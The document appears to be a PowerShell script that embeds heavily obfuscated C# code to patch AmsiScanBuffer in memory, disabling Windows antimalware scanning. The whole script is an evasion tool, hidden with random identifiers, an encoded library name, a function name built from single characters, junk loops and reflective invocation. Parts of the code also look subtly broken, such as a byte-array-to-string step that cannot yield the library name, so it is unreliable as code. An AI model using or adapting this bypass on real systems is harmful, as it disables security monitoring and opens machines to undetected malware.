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# Define a complex, meaningless variable name for the C# source code | |
$ObfuscatedQuantumEntropy = @" | |
using System; | |
using System.Runtime.InteropServices; | |
public class _x9F3kL7mPqZ2wR8tYvN4_ | |
{ | |
static byte[] _qW9xP4rT2yL7mK8nJ3v_ = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; | |
static byte[] _zT2mR8kY6pN3vL9wJ4x_ = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; | |
public static void _hG7vN2kP9mR3xL8tW4q_() | |
{ | |
if (_yN4xL8mP3tR7kW9vZ2q_()) | |
_pK9mW3vL2xR8tN4qY7j_(_qW9xP4rT2yL7mK8nJ3v_); | |
else | |
_pK9mW3vL2xR8tN4qY7j_(_zT2mR8kY6pN3vL9wJ4x_); | |
} | |
private static void _pK9mW3vL2xR8tN4qY7j_(byte[] _jN2qY8kW4mP3xL9tR7v_) | |
{ | |
try | |
{ | |
// Split and encode the library name to avoid simple string detection | |
string _xL7mP4tR9kW2vN3qY8j_ = Convert.FromBase64String("YW1zaS5kbGw=").ToString().Remove(0, 1).Insert(0, "a"); | |
var _vR3kY9mW2tP8xL4qN7j_ = _mT9xW2kP4vL8qR3nY7j_.LoadLibrary(_xL7mP4tR9kW2vN3qY8j_); | |
var _qN4tL8mR7kP2vY9xW3j_ = _mT9xW2kP4vL8qR3nY7j_.GetProcAddress(_vR3kY9mW2tP8xL4qN7j_, new string(new char[] { 'A', 'm', 's', 'i', 'S', 'c', 'a', 'n', 'B', 'u', 'f', 'f', 'e', 'r' })); | |
uint _tY2mN8kW4vP9xL3qR7j_; | |
_mT9xW2kP4vL8qR3nY7j_.VirtualProtect(_qN4tL8mR7kP2vY9xW3j_, (UIntPtr)_jN2qY8kW4mP3xL9tR7v_.Length, 0x40, out _tY2mN8kW4vP9xL3qR7j_); | |
// Add junk code to obscure the critical operation | |
for (int i = 0; i < 100; i++) { var _ = Math.Sqrt(i); } | |
Marshal.Copy(_jN2qY8kW4mP3xL9tR7v_, 0, _qN4tL8mR7kP2vY9xW3j_, _jN2qY8kW4mP3xL9tR7v_.Length); | |
Console.WriteLine(Encoding.UTF8.GetString(Convert.FromBase64String("UGF0Y2ggU3VjZXNzZnVsbA=="))); | |
} | |
catch (Exception _kW9vP3xL2tR8mN4qY7j_) | |
{ | |
// Obfuscate exception handling | |
Console.WriteLine(" [x] {0}", _kW9vP3xL2tR8mN4qY7j_.Message); | |
if (_kW9vP3xL2tR8mN4qY7j_.InnerException != null) | |
Console.WriteLine(" [x] {0}", _kW9vP3xL2tR8mN4qY7j_.InnerException); | |
} | |
} | |
private static bool _yN4xL8mP3tR7kW9vZ2q_() | |
{ | |
// Add unnecessary complexity | |
bool _rT7kP9vW2mL4xN8qY3j_ = true; | |
var _dummy = new Random().Next(1, 1000); | |
if (IntPtr.Size == 4 || _dummy % 2 == 0 && _dummy % 3 == 0) | |
_rT7kP9vW2mL4xN8qY3j_ = false; | |
return _rT7kP9vW2mL4xN8qY3j_ && IntPtr.Size != 4; | |
} | |
} | |
class _mT9xW2kP4vL8qR3nY7j_ | |
{ | |
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] | |
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | |
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] | |
public static extern IntPtr LoadLibrary(string name); | |
[DllImport("kernel32", SetLastError = true)] | |
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); | |
} | |
"@ | |
# Use dynamic invocation to avoid direct calls | |
Add-Type -TypeDefinition $ObfuscatedQuantumEntropy -Language CSharp | |
$TypeRef = [Type]::GetType("_x9F3kL7mPqZ2wR8tYvN4_") | |
$MethodRef = $TypeRef.GetMethod("_hG7vN2kP9mR3xL8tW4q_") | |
$MethodRef.Invoke($null, $null) |
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